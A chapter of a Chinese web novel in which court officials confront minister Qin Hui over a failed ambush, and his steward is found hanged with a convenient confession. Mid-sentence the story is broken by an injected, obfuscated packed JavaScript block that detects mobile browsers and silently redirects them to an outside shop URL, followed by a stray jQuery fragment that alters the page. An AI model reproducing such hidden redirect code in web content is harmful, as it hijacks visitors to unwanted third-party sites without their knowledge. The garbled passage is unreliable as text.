文趣网 > 其他小说 > 云梦耕战录:特工小农女的青云路 > 81. 人赃并获,秦党失算
    晨雾还未完全散去,黑风岭的山道上已经弥漫着血腥味。

    卫青衣袍上溅着几点暗红,站在一片狼藉的战场中央。他脚下踩着一名黑衣人的肩膀,那人右臂被斩断,伤口处血肉模糊,正发出痛苦的呻吟。周围横七竖八躺着二十多具尸体,还有七八个被捆得结结实实的活口,嘴里塞着破布,只能发出呜呜的闷响。

    听风阁的高手们正在清理战场。有人检查尸体,有人收缴兵器,动作迅速而专业。山风吹过,带来松涛的呜咽声,也吹散了浓重的血腥。

    “头儿,找到了。”一个精瘦的汉子快步走来,手里提着一只灰扑扑的信鸽。鸽子腿上绑着一个小竹筒,竹筒用蜡封得严实。

    卫青接过竹筒,捏碎蜡封,抽出里面的纸条。纸条不大,上面只有寥寥数语,用的是某种特殊的暗语排列。他眉头微皱——这暗语他认得,是秦桧一党核心圈子才用的密文。

    “毁物灭口,不留活口。”

    八个字,字迹潦草却透着狠厉。

    卫青将纸条收好,目光扫过那些被擒的活口。这些人虽然穿着粗布衣裳伪装成山匪,但手上的茧子位置、站立的姿态、甚至刚才交手时的配合,都透着一股子军伍气息。

    “带回去。”他冷声道,“分开审讯,我要知道他们是谁的人,受谁指使。”

    ---

    京城,枢密院。

    白练尘站在窗前,手里端着一杯已经凉透的茶。窗外天色渐暗,暮色四合,远处的街市开始亮起灯火。她能听到更夫敲梆的声音,一下,两下,在寂静的院子里格外清晰。

    脚步声从走廊传来。

    沈稷推门而入,脸色凝重。他身后跟着一名听风阁的暗卫,手里捧着一个木匣。

    “黑风岭的消息回来了。”沈稷示意暗卫将木匣放在桌上,“卫青那边得手了。擒获八人,击毙二十三。对方用的是制式军弩,训练有素,绝非普通山匪。”

    白练尘打开木匣。里面是那封密信,还有几张口供笔录。她先拿起密信,借着烛光仔细看了一遍。

    “秦桧的暗语。”她放下信纸,声音平静,“‘毁物灭口’,这是要连人带物一起灭掉。”

    沈稷点头:“口供也出来了。分开审讯,有三个人扛不住,招了。说是受京城一位‘大人物’的管家指使,给了五百两银子,让他们扮作山匪劫杀车队,务必拿到车上的木匣,然后毁掉。”

    “管家?”白练尘挑眉。

    “姓王,四十多岁,左脸颊有颗黑痣,说话带点江南口音。”沈稷从木匣里又取出一张纸,“这是根据口供画的画像。已经派人查过了,是秦桧府上的二管家,王福。”

    烛火跳动了一下,在墙上投下摇曳的影子。

    白练尘看着那张画像,沉默片刻:“秦桧果然上钩了。”

    “他不得不咬钩。”沈稷走到桌边,手指敲了敲桌面,“白起风案的证据,对他来说是致命的。哪怕只有一丝可能,他也要掐灭在萌芽里。”

    “现在怎么办?”白练尘问。

    沈稷眼中闪过一丝锐利的光:“人赃并获,自然要上门问个清楚。不过……”他顿了顿,“秦桧老奸巨猾,恐怕早有准备。我们得打他个措手不及。”

    “现在就去?”

    “现在就去。”沈稷转身,“换身衣裳,我们这就去秦府‘拜访’。”

    ---

    秦桧的府邸位于京城东城的富贵巷,三进三出的大宅院,朱门高墙,气派非凡。此时已是戌时三刻,府门前挂着两盏大红灯笼,在夜风中轻轻摇晃。

    门房见来人是沈稷,连忙躬身行礼:“小的见过皇叔。不知皇叔深夜来访,所为何事?相爷已经歇下了……”

    “歇下了也得起来。”沈稷声音不高,却带着不容置疑的威严,“有要事相商,去通报。”

    门房不敢怠慢,匆匆进去禀报。

    不多时,中门大开。秦桧披着外袍迎了出来,脸上带着恰到好处的惊讶和恭敬:“皇叔驾临,有失远迎,恕罪恕罪。这位是……”他的目光落在白练尘身上。

    “工部员外郎白练尘。”白练尘拱手行礼。

    秦桧眼中闪过一丝不易察觉的异色,随即笑道:“原来是白大人,久仰。两位请进,请进。”

    三人来到花厅。厅内布置得雅致,墙上挂着名家字画,多宝阁上摆着瓷器玉器,空气中飘着淡淡的檀香味。丫鬟奉上热茶,茶香袅袅。

    秦桧在主位坐下,端起茶盏,用杯盖轻轻拨着浮叶:“皇叔深夜到访,想必是有要事?”

    沈稷没有喝茶,直接从袖中取出那封密信,放在桌上:“秦相先看看这个。”

    秦桧放下茶盏,拿起密信。烛光下,他的脸色在看清密文内容的瞬间,微微变了一下,但很快恢复如常。他将信纸放下,神色困惑:“这是……某种暗语?恕老夫眼拙,看不明白。”

    “秦相看不明白?”白练尘开口,声音清冷,“那‘毁物灭口’四个字,秦相总该认得吧?”

    秦桧眉头微皱:“白大人此言何意?老夫确实不知这是什么。”

    沈稷又从袖中取出几张口供笔录,推到秦桧面前:“今日午时,黑风岭发生一起劫杀案。一伙伪装成山匪的歹徒袭击官家车队,意图抢夺车中物品。听风阁当场擒获八人,击毙二十三人。这是其中三人的口供,他们都指认,是受秦相府上二管家王福指使。”

    秦桧拿起口供,一页一页翻看。他的手指在纸页上停顿了几次,呼吸渐渐变得粗重。当看到王福的画像时,他猛地抬起头,脸上满是震惊和愤怒:“这……这不可能!”

    “人证物证俱在。”沈稷盯着他,“秦相,你作何解释?”

    秦桧站起身,在厅中来回踱步,袍袖甩得猎猎作响。他突然停下,转身对着门外喊道:“来人!去把王福给我叫来!”

    管家匆匆而去。

    厅内陷入沉默。烛火噼啪作响,檀香的烟雾在空气中缓缓升腾。白练尘能闻到茶香、檀香,还有秦桧身上散发出的、那种久居高位者特有的熏香气味。她端起茶盏,指尖感受着瓷器的温润,却没有喝。

    约莫一刻钟后,管家慌慌张张跑回来,脸色煞白:“相爷,不好了!王福……王福他……”

    “他怎么了?”秦桧厉声问。

    “他在自己房里……悬梁自尽了!”管家扑通跪倒在地,“小的进去时,人已经凉了,桌上留着一封遗书……”

    秦桧身体晃了晃,扶住椅背才站稳。他闭上眼睛,深吸一口气,再睁开时,眼中已经泛红:“带……带我去看看。”

    一行人来到后院下人住处。王福的房间不大,陈设简单。此刻房门大开,里面挤着几个吓坏了的仆役。王福的尸体还挂在房梁上,面色青紫,舌头外伸,脚下倒着一把椅子。桌上果然有一封遗书,墨迹未干。

    秦桧颤抖着手拿起遗书,看了几眼,突然老泪纵横:“糊涂!糊涂啊!”

    他将遗书递给沈稷,声音哽咽:“皇叔请看……这孽障,这孽障背着我干了这等事!他在遗书中交代,是收了外人钱财,私自调派人手去黑风岭劫杀车队……他,他这是要陷我于不义啊!”

    沈稷接过遗书。上面字迹潦草,大致内容是王福承认自己贪财,受人指使派人假扮山匪,如今事情败露,无颜面对相爷,唯有一死谢罪。落款是王福,还按了手印。

    “秦相的意思是,这一切都是王福一人所为?”白练尘忽然开口。

    秦桧抹了把眼泪,痛心疾首:“老夫管教不严,竟让府中出了这等败类!白大人,皇叔,此事老夫确实不知情啊!这王福跟了我十几年,我待他不薄,谁知他竟做出这等事……老夫有罪,老夫有罪啊!”

    他扑通跪倒在地,朝着沈稷磕头:“皇叔,老夫识人不明,驭下不严,酿成此祸,愿领责罚!”

    烛火将他的影子投在地上,拉得很长。那影子随着他磕头的动作一

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17715880|205346||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    颤一颤,像一只匍匐的兽。

    沈稷看着跪在地上的秦桧,眼中神色复杂。他知道秦桧在演戏——王福的死太巧了,遗书也太及时了。这分明是事先准备好的弃车保帅,断尾求生。

    但他没有证据。

    密信用的是暗语,没有署名;口供指向的是王福,而王福已经“畏罪自尽”;遗书写得天衣无缝,把所有罪责都揽到了自己身上。秦桧把自己摘得干干净净。

    沈稷沉默良久,终于开口:“秦相请起。”

    秦桧抬起头,老脸上泪痕未干:“皇叔……”

    “此事虽系王福一人所为,但秦相身为朝廷重臣,府中管家竟敢私调人手、劫杀官车,实属管教不严、驭下无方。”沈稷的声音冷了下来,“按律,当罚俸一年,削去兼领的光禄寺卿衔,闭门思过半月。”

    秦桧身体一僵,随即重重叩首:“臣……领罚。谢皇叔从轻发落。”

    “不是从轻发落。”沈稷盯着他,“是证据不足,只能如此。秦相,你好自为之。”

    秦桧伏在地上,肩膀微微颤抖,不知是恐惧还是愤怒。

    沈稷不再看他,转身对白练尘道:“我们走。”

    两人走出花厅,穿过庭院。夜风很凉,吹在脸上带着寒意。白练尘能听到身后秦桧府中传来的压抑的哭泣声——不知是真哭还是假哭。

    走到府门前时,她忽然回头。

    秦桧不知何时已经站在正堂门口,没有送行,只是站在那里,远远望着他们。灯笼的光照在他脸上,半明半暗。他的眼睛在阴影里,看不清神色,但白练尘能感觉到那道目光——冰冷,怨毒,像淬了毒的针。

    两人的目光在空中相接。

    那一瞬间,白练尘仿佛看到秦桧眼底翻涌的寒意,几乎要凝成实质,穿透夜色刺过来。但她面色不变,只是微微颔首,然后转身,跟着沈稷踏出秦府大门。

    朱红的大门在身后缓缓关上,发出沉闷的声响。

    街道上寂静无人。更夫敲梆的声音从远处传来,三更天了。

    沈稷走在前面,忽然开口:“你觉得他信了吗?”

    “信什么?”白练尘问。

    “信我们手里只有这些证据,信王猛的信是真的,信我们已经无计可施。”

    白练尘想了想:“他信不信不重要。重要的是,他知道我们盯上他了。打草惊蛇,蛇要么缩回去,要么……”

    “要么反咬一口。”沈稷接道。

    两人在街口停下。沈稷转身看着白练尘:“这次虽然没能扳倒秦桧,但削了他的面子,罚了他的俸,还拿掉他一个兼差。更重要的是,我们确认了——白将军案,确实和他有关。”

    “而且关系匪浅。”白练尘补充,“否则他不会这么急着灭口。”

    沈稷点头:“接下来要更小心。秦桧吃了这个亏,不会善罢甘休。你在工部,要格外留意。”

    “我明白。”

    “卫青那边还在审讯,看能不能挖出更多东西。你先回去休息,有消息我会通知你。”

    白练尘拱手告辞,转身朝官舍方向走去。

    夜色深沉,街道两旁的店铺都关了门,只有几盏孤灯在风中摇曳。她的影子被拉得很长,在青石板路上移动。她能听到自己的脚步声,清脆,规律,在寂静的夜里格外清晰。

    走到一半时,她忽然停下,从怀中取出那封伪造的“王猛密信”。信在月光下泛着淡淡的黄色,火漆的印痕模糊不清。

    她看了片刻,将信收回怀中。

    饵已经撒出去了,鱼也咬了钩。虽然没能把鱼钓上来,但至少知道,这潭水里确实有鱼。

    而且,是条大鱼。

    她继续往前走,脚步声重新响起。月光洒在她身上,将官服的青色染上一层银白。远处传来打更的声音,悠长,苍凉,在京城的上空回荡。

    新的一天,就要开始了。

    而这场棋局,才刚刚进入中盘。